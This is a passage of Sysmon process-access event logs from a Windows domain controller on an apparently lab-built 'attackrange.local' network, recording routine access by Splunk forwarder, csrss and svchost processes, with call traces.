Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00103A210900}","TargetProcessId":"1600","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6226,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00103A210900}\r\nTargetProcessId: 1600\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00103A210900}","TargetProcessId":"1600","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6227,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6228,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6229,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6230,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6231,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6232,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6233,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\